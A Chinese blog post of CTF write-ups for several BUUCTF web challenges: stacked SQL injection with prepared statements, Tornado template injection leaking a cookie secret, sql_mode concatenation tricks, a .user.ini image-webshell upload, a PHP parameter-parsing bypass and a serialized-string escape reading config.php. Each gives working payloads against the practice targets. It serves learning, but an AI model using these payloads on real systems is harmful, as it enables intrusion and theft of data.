buuctf web

[强网杯 2019]随便注

在这里插入图片描述
先尝试普通的注入
在这里插入图片描述

发现注入成功了,接下来走流程的时候碰到了问题

在这里插入图片描述

发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update,delete,insert这些sql语句呢?

原来这题需要用到堆叠注入:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入,而堆叠注入可以执行任意sql语句

这下就好理解了,过滤上面那些语句应该是防止我们改数据,先看看堆叠注入的效果

inject=1';show databases;#

在这里插入图片描述

显示了所有的表,我们找到含有flag的表,这里可以用之前学的desc查看:)

在这里插入图片描述

接下来又碰到问题了,过滤了select怎么查数据?没事,sql中还有预编译的语句:

SET @tn = 'hhh';  存储表名
SET @sql = concat('select * from ', @tn);  存储SQL语句
PREPARE sqla from @sql;   预定义SQL语句
EXECUTE sqla;  执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  删除预定义SQL语句

解法1:
concat把s,elect,* from `1919810931114514`这三个进行拼接,如下:

inject=1';use supersqli;SET @sql=concat("s","elect"," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

解法2:

可以用十六进制的select然后再用char转换成字符绕过过滤,用concat进行拼接,如下:

SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`"); 存储语句
PREPARE sqla from @sql;  预定义sql语句
EXECUTE sqla;  执行sql语句

payload:

inject=1';use supersqli;SET @sql=concat(char(115,101,108,101,99,116)," * from `1919810931114514`");PREPARE sqla from @sql;EXECUTE sqla;#

easy_tornado

这是一道SSTI模板注入的题
在这里插入图片描述
挨个点进去看看吧,flag.txt:
在这里插入图片描述
welcome.txt:
在这里插入图片描述
hints.txt:
在这里插入图片描述

收集到一些信息:

  • 首先每一个txt文件后面都跟了一个md5加密的filehash,而这个加密过程在hints.txt中
  • flag在fllllllag里,看来是要我们读这个文件
  • render这个东西
  • 只要知道了cookie_secret,就能构造url读flag

如果直接读flag,会跳转到error页面
在这里插入图片描述
如果我们尝试修改msg的值,会发现能输出

在这里插入图片描述
后来知道这题考的是SSTI模板注入

{{ … }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% … %}:装载一个控制语句。
{# … #}:装载一个注释,模板渲染的时候会忽视这中间的值

在贴一篇文章方便理解:传送门

例如传递{{1+1}}这个参数,就会输出传递的变量,会显示2,在本题中却会返回服务器错误,不过在tornado模板中,存在一些可以访问的快速对象,就是handler.settings

在这里插入图片描述
得到了cookie_secret,然后构造filehash就能得到flag了

import hashlib
def md5(s):
    md5 = hashlib.md5();
    md5.update(s)
    return md5.hexdigest()
def gethash():
    filename = '/fllllllllllllag'.encode('utf-8') #注意这里要加上/
    f='3bf9f6cf685a6dd8defadabfb41a03a1'.encode('utf-8') #f是filename的md5
    cookie_secret = '4a3d2302-20e6-4e71-8b42-ffc6369121b2'.encode('utf-8')
    print(md5(cookie_secret + f))
gethash()

在这里插入图片描述

EasySql

在这里插入图片描述
除此之外什么也没了,fuzz了一下,发现除了一些符号和select基本上全被过滤了,

当输出了1时,显示了一个数组,再尝试看能不能输出多个数字

在这里插入图片描述
尝试输出数据库
在这里插入图片描述
不过过滤的真的太多了,用正常的注入肯定是不行了


看了wp才知道原来这题也是用了堆叠注入,直接

1;show tables;

在这里插入图片描述
但是这题连Flag都给过滤了,即使想用预编译绕过也得把from放出来吧,所以这条思路应该走不通了


时隔多天再看这道题==
先来看看这个:
在这里插入图片描述
sql把0和每一个username的值进行了或运算,还需要了解一下sql_mode是什么:

mysql数据库的中有一个环境变量sql_mode,定义了mysql应该支持的sql语法,数据校验等

可以通过set sql_mode=PIPES_AS_CONCAT来把管道符看成是concat,也就是拼接符号,再来看看:
在这里插入图片描述
在每一个name前加了一个0输出,但是,有什么用?我先传入一个2;
在这里插入图片描述
输出了2,如果把分号去掉:
在这里插入图片描述
变成了1,可以证明两点:

  • 分号的有无会影响输出的结果,并且可以正常输出–>这个query前面被自动加上了select
  • 加上分号,原样输出,是因为把后面的语句给闭合了,而当不加分号时,会输出1,
    假设sql语句是这样:select 2;=2,select 2 || ***;=1,正好是实际的结果

也就大致可以判断sql语句为:select 'query' || flag from flag ;,当然这里的flag也有一点猜测

再用上面说的方法,就可以把0和flag一起输出了

1;set sql_mode=PIPES_AS_CONCAT;select 0

实际上在sql语句中为:

select 1;set sql_mode=PIPES_AS_CONCAT;select 0 || flag from flag;

所以我们要在第三个语句中加上select,看看结果:
在这里插入图片描述

[SUCTF 2019]CheckIn

来到一个上传页面,除此之外啥也没有了
在这里插入图片描述
随便先上传个图片马2.jpg,因为这里过滤了<?,所以用script绕过:

GIF98
<script language='php'>
phpinfo();
</script>

得到文件路径:
在这里插入图片描述
但是没有可以包含的点,后来又尝试了一下发现.htaccess文件是可以上传的,但是.htaccess文件必须在根目录下才能生效,但是同时也知道了不是白名单过滤,下面涨涨姿势吧:.user.ini

首先,php.ini是我们很熟悉的php配置文件,这些配置又可以分为以下四类,看一下官方解释:

在这里插入图片描述

看到PHP_INI_USER这个模式,可以在ini_set、windows注册表、以及.user.ini中设定,再来看看这个

在这里插入图片描述

这样就弥补了.htaccess只能在根目录下的缺陷,我们能自定义的配置选项只有:

PHP_INI_PERDIR 、 PHP_INI_USER,不过在php.ini的配置列表中有以下两个,均为PHP_INI_PERDIR,但是这两个配置有什么用吗?

在这里插入图片描述

简单的说,prepend就是指定一个文件,在要执行的文件前先包含,而append就是先执行后包含

因为之前上传的时候有一个index.php文件,所以我们就可以利用.user.ini在执行index.php之前或之后进行包含,接下来是利用了,其实这里任选一个都行,指定要包含的文件
在这里插入图片描述
在上传123.jpg的图片马,得到路径,带上index.php这一执行文件进行包含图片马
在这里插入图片描述
成功包含

在这里插入图片描述
据说这只是个签到题…

参考文章:
传送门

[RoarCTF 2019]Easy Calc

在这里插入图片描述

在源代码找到calc.php,访问看到代码:

在这里插入图片描述

但是输入phpinfo()没过滤却不能执行

在这里插入图片描述

测试了一下应该只允许输入数字,那怎么办?

有必要了解一下php字符串解析漏洞:

PHP会将URL或body中的查询字符串关联到$_GET或$_POST。例如:/?foo=bar代表Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)

PHP在接受参数名时,需要将怪异的字符串转换为一个有效的变量名,因此当进行解析时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)

参考文章:freebuf

那我们就自己试一下:

先是正常的php解析函数:

在这里插入图片描述

如果我们在num前面加上空格:

在这里插入图片描述

可以看到效果和不加空格一样

回到题目,如果我们传:空格num,在url传参中是个不同的参数,所以绕过了只能输入非数字,而字符串解析却是一样的,也能执行代码

我们传参cacl? num=phpinfo()

在这里插入图片描述

剩下的只有一些简单的过滤了,可以用反码也可以用chr函数解析ascii码绕过,这里采用第二种

? num=var_dump(scandir(chr(47)))

在这里插入图片描述

calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

在这里插入图片描述
flag{2b06307a-63b7-408b-9e24-b3336bfc1e79}

[0CTF 2016]piapiapia

首先看一下这个,对一个数组进行序列化,然后进行过滤替换,将单引号替换为no
在这里插入图片描述
先来看看正常结果
在这里插入图片描述
然后在pho后加上一个单引号
在这里插入图片描述
转换为no之后与长度4对应不上,反序列化时报错,看起来很正常,但是如果稍加改动,我们就能使它不报错,并且能改动后面固定的数据

首先假设我们要将固定数据ebe改成beee,那么常规思路肯定是闭合双引号然后加上我们恶意的数据
像这样pho";i:1;s:4:"beee";},但是好像并没用
在这里插入图片描述
我们最重要的是要加上";i:1;s:4:"beee";}数据,但是如果直接在pho后加,序列化之后会把它当成一整个字符串,我们也可以看到数据的长度自动变成了21,恰好是pho";i:1;s:4:"beee";}的长度

但是在过滤的函数中'->no,也就是本来一个字符的数变成了两个字符

先数一下";i:1;s:4:"beee";}的长度,是19,如果我们在pho后面先加上19个单引号,再跟上构造的数据";i:1;s:4:"beee";}然后此时序列化的长度就变成了39,然后经过转换,'->no,又多出来了19个字符,此时的序列化应该是这样的:
原始数据:a:2:{i:0;s:39:"pho'''''''''''''''''''";i:1;s:4:"beee";}";i:1;s:3:"ebe";}
经过转换:a:2:{i:0;s:39:"phonononononononononononononononononono";i:1;s:4:"beee";}";i:1;s:3:"ebe";}
但是序列化的长度为39啊,所以只能匹配39个长度,他就把phonononononononononononononononononono全部匹配,后面的";i:1;s:4:"beee";}成功逃逸

看一下结果
在这里插入图片描述
懂了这个点之后我们再来做题吧

首页是一个登陆页面
在这里插入图片描述
扫一下得到www.zip,下载得到源码
在这里插入图片描述
先看一下config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

可以看到flag就在config.php中,继续看其他的

register.php页面没什么利用点,直接注册一个登陆进去,来到update.php
在这里插入图片描述
update.php,就是更新用户信息,然后有过滤

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>

仔细一点可以发现在3个if语句的过滤中有一个独秀:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

只要有一个不满足条件即可跳过die,其中第二个strlen($_POST['nickname']) > 10可以用数组绕过

那么nickname就可以随便控制了,而且最后会把$propfile也就是我们的更新信息序列化,然后调用update_profile方法,貌似跟上面的例子有点联系了吼

接着看其他的先,update之后来到profile.php页面
在这里插入图片描述
看看profile.php源码

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>

在最后一行看到了base64_encode(file_get_contents($profile['photo']))我们或许可以利用这个读config.php,不过这里的参数是photo,也就是我们上传的文件,我们只能控制nickname,怎么让photo=config.php呢,往下看,来到class.php

我这里就放几个关键的吧,有在update里序列化之后调用的方法update_profile(),就是过滤

public function update_profile($username, $new_profile) {
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}

过滤方法如下:

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

第一个过滤/\'|\\/,第二个过滤/select|insert|update|delete|where/,好了,先序列化再过滤,上面的反序列化方法就能用了

我们先来看看序列化的结果:

a:4:{s:5:“phone”;s:11:“15112312123”;s:5:“email”;s:9:“[email protected]”;s:8:“nickname”;a:1:{i:0;s:3:“kk1”;}s:5:“photo”;s:39:“upload/a5d5e995f1a8882cb459eba2102805cd”;}

我们要利用的是photo,而nickname可控,首先构造我们的序列化数据:
";}s:5:"photo";s:10:"config.php";}
数一下,总共34个,那么我们就需要用过滤替换制造34个多余的字符,看一下过滤,只有where被hacker替换之后会多出一个字符,那么我们就用34个where
payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:“photo”;s:10:“config.php”;}

传入之后会变成:

a:4:{s:5:“phone”;s:11:“15112312123”;s:5:“email”;s:9:“[email protected]”;s:8:“nickname”;a:1:{i:0;s:?:“kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:“photo”;s:10:“config.php”;}";}s:5:“photo”;s:39:“upload/a5d5e995f1a8882cb459eba2102805cd”;}

过滤之后变成:

a:4:{s:5:“phone”;s:11:“15112312123”;s:5:“email”;s:9:“[email protected]”;s:8:“nickname”;a:1:{i:0;s:?:“kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker”;}s:5:“photo”;s:10:“config.php”;}";}s:5:“photo”;s:39:“upload/a5d5e995f1a8882cb459eba2102805cd”;}

这样就能控制photo了,在update页面抓包,nickname改成数组形式
在这里插入图片描述
发过去
在这里插入图片描述
图片的base64解密就是config.php
在这里插入图片描述

发布了22 篇原创文章 · 获赞 0 · 访问量 863

猜你喜欢

转载自blog.csdn.net/chasingin/article/details/102990660
今日推荐